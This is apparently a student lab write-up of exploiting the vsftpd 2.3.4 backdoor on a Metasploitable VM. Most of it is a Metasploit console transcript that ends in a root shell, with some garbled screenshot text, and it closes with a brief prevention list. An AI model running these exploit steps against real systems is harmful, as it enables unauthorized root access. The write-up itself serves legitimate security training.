## Project: Metasploitable FTP Exploitation Clay Jones

## **Objective:**

Gain access to the system by exploiting an outdated FTP software.

## **Recon and Scanning:**

I performed a netdiscover scan to find the other hosts on the network. The address of the Metasploitable machine was 192.168.1.103. I then ran a nmap scan to scan for ports and their software versions.

## **Exploitation:**

```
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search vsftpd 2.3.4
Matching Modules
        exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03
                                                                                                                     VSFTPD v2.3.4 Backdoor Command Execut
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > Interrupt: use the 'exit' command to quit
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show ontion
     6 exploit(unix/ftp/vsftpd_234_backdoor) > show option
Invalid parameter "option", use "show -h" for more information
                                                             r) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
                  Current Setting Required Description
                                       no The local client port
no The local client port
no A proxy chain of format type:host:port[,type:host:port][...]
yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/b
asics/using-metasploit.html
yes The target port (TCP)
    CPORT
    RHOSTS
    RPORT 21
Payload options (cmd/unix/interact):
    Name Current Setting Required Description
                                                                                                                    Keyboard Settings...
     Id Name
                                                                                                                    Soft Keyboard..
                                                                                                                        Insert Ctrl-Alt-Del
                                                                                                                                                                   Host+Del
```

```
View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > explout
i=1 Unknown command: explout
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[=] Msf::OptionValidateError The following options failed to validate: RHOSTS
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.1.106
RHOST ⇒ 192.168.1.106
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.1.103
RHOST ⇒ 192.168.1.103
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.103:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.103:21 - USER: 331 Please specify the password.
[*] 192.168.1.103:21 - Backdoor service has been spawned, handling...
[*] 192.168.1.103:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.102:34463 → 192.168.1.103:6200) at 2024-12-22 14:55:08 -0500

whoami
root

Sunday, December 22, 2024

Sun 2:55 PM (Local time)
```

I opened the Metasploit console and then did a search for the software version vsftpd 2.3.4 version. The results showed that a backdoor was found and Metasploit gave an exploit command to run. I set the IP address of the receiving host and ran the exploit. Once the command shell opened, I ran a whoami command and it was shown I have root privileges.

How to prevent:
Security Awareness training
Strong Firewalls
Strict Authentification